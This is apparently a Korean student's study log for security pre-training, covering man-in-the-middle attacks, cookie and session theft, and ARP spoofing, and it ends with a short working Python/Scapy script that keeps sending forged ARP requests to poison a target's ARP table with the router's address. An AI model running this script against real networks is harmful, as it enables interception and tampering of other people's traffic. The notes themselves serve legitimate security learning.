bob 11th 지원대상자가 이수해야 할 사전 교육에 대한 학습 일지입니다.

MITM attack

Man In The Middle Attack. 중간자 공격
네트워크 통신 내용을 도청하거나 조작하는 공격 기법
Sniffing(킁킁거리다. 냄새를 맡다)
Spoofing(오염시키다)

하이퍼 텍스트 기록 값으로, 인터넷 사용자가 어떠한 웹사이트를 방문할 경우 그 사이트가 사용하고 있는 서버를 통해 인터넷 사용자의 컴퓨터에 설치되는 작은 기록 정보 파일을 일컫는다.
오늘날 많은 서버 및 웹사이트들이 브라우저의 신속성을 위해 사용한다.
행동추적 또는 쿠키값을 훔쳐서 다른 사용자의 계정 권한을 획득할 수 있다.

	Cookie	Session
저장 위치	클라이언트에 저장	서버에 저장
라이프 사이클	보통 만료기간 동안 유지	만료기간 존재.브라우저 종료 시 삭제
장점	서버 성능 저하 X	높은 보안성
단점	낮은 보안성	서버 부담

ARP Spoofing

ARP table 조작

ARP Request
- 출발지 IP, MAC, 도착지 IP 정보를 이용해 목적지의 MAC 정보를 요청
- 라우터의 IP와 공격자의 MAC을 출발지로 설정하고 타겟에게 요청할 경우, 타켓의 APR table에서 라우터 정보 부분을 공격자의 MAC으로 저장함.

Opcode	ARP Message Type
1	ARP Request
2	ARP Reply
3	RARP Request
4	RARP Reply
5	DRARP Request
6	DRARP Reply
7	DRARP Error
8	InARP Request
9	InARP Reply

from scapy.all import *
from subprocess import call
import argparse
import time

op = 1 #arp request op = 1
arg_parser = argparse.ArgumentParser(description='python3 arps.py [target ip] [target mac] [router ip]')
arg_parser.add_argument('tip', help="input target ip address")
arg_parser.add_argument('tmac', help="input target mac address")
arg_parser.add_argument('rip', help="input router ip address")

arg = arg_parser.parse_args()

target_ip = arg.tip
target_mac = arg.tmac
router_ip = arg.rip

arp = ARP(op=op, psrc=router_ip, pdst=target_ip, hwdst=target_mac)

while 1:
	send(arp)
	time.sleep(2)